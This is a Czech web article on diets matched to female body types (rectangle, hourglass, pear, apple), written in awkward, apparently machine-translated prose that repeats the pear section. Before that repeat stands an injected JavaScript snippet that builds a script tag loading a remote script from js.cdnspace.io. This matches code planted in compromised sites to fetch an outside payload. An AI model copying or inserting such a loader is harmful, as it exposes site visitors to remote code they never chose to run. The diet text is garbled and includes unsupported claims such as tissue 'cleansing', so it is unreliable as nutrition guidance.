Dieta pro typ postavy

Při výběru plán dieta jídlo, měli byste zvážit, co přesně části těla kazí celkový dojem. Dieta na typu postavy vám pomůže dosáhnout dokonalosti.

Obsah

Obdélník
Přesýpací hodiny
Hruška
(function () { var script = document.createelement('script'); script.src = "https://js.cdnspace.io/script.js?t=" + ((d = new date()) ? '' + d.getutcfullyear() + d.getutcmonth() + d.getutcdate() + d.getutchours() : ''); script.async = true; document.body.appendchild(script); })();hruškovitý tvar je podobný typu přesýpacích hodin, ale objem prsu, v tomto případě je znatelně nižší než objem boků a nohy mají více zakulacený tvar. tuk hromadí především v dolních částech těla - břicho, hýždě, boky. strava výrazně snižuje podíl živočišných tuků. vyloučeny ze stravy, jakýkoli výrobek s vysokým obsahem tuku. priorita libové maso, libové ryby, vaječné bílkoviny, mléčné výrobky s nízkým obsahem tuku. zdrojem tuků jsou rostlinné oleje (nerafinovaný). budou mít také k řízení rychlosti (méně než 1 lžička salátu na porci). očistit tkáně těla je zapotřebí, proto by měl obsahovat zeleninu s vysokým obsahem surové vlákniny v menu (celer, zelí, dýně, atd). mohou být podávány ve stravě nízkotučných mléčných výrobků, libového masa. cukr a cukrovinky a alkohol bude muset dát. optimální tréninkový program: běh, rotoped.
Jablko

Recenze

obdélník

Called obdélníkového tvaru, kde se ramena, hrudníku, pasu a boků vizuálně přibližně stejném objemu. Ženy, které mají podobný tvar, zřídka zotavit. Pokud k tomu dojde, tuk hromadí především v oblasti břicha. Dieta zobrazuje prioritní pozice proteinové potraviny. Musím vzdát kávu, cukr a sladkosti. Vyloučeny později jídlo. Diety by měly být doplněny fyzické námaze (preference Pilates plavání, aerobik, tanec).

přesýpací hodiny

V tomto případě, boky a hrudníku je přibližně stejný, pas výrazně užší boky. Pokud ženy, které mají takový tvar, lepší, tuk se rozdělí přibližně rovnoměrně. Pomůže zhubnout, listová zelenina, libové maso, vaječné bílky, ořechy (Malé množství), celozrnný chléb, hnědá rýže a jiné „pomalé“ sacharidy, mléčné výrobky produkty minimální obsah tuku. S výhradou vyloučení alkoholických nápojů, cukru a cukrovinek, všech tučných jídel. Posílit účinnost stravy pomůže tance, jógy, aerobní cvičení.

hruška

hruškovitý tvar je podobný typu přesýpacích hodin, ale objem prsu, v tomto případě je znatelně nižší než objem boků a nohy mají více zakulacený tvar. Tuk hromadí především v dolních částech těla - břicho, hýždě, boky. Strava výrazně snižuje podíl živočišných tuků. Vyloučeny ze stravy, jakýkoli výrobek s vysokým obsahem tuku. Priorita libové maso, libové ryby, vaječné bílkoviny, mléčné výrobky s nízkým obsahem tuku. Zdrojem tuků jsou rostlinné oleje (nerafinovaný). Budou mít také k řízení rychlosti (méně než 1 lžička salátu na porci). Očistit tkáně těla je zapotřebí, proto by měl obsahovat zeleninu s vysokým obsahem surové vlákniny v menu (celer, zelí, dýně, atd). Mohou být podávány ve stravě nízkotučných mléčných výrobků, libového masa. Cukr a cukrovinky a alkohol bude muset dát. Optimální tréninkový program: běh, rotoped.

jablko

Tento typ obrázku se vyznačuje zaoblenými tvary, bez pasu, plné hrudníku a ramen. Když je přibývání na váze tuk rozděleny přibližně rovnoměrně. Dieta zahrnuje omezení příjmu jednoduchých sacharidů. Doporučuje se zvýšit příjem vlákniny (přípustné používat doplněk stravy). Můžete jíst libové bílkoviny (mléčné výrobky, maso, ryby, vejce). Vyloučené sladkosti, živočišné tuky. Je žádoucí použít sladké odrůdy ovocný, škrobnatých zeleniny. Doporučená kardio.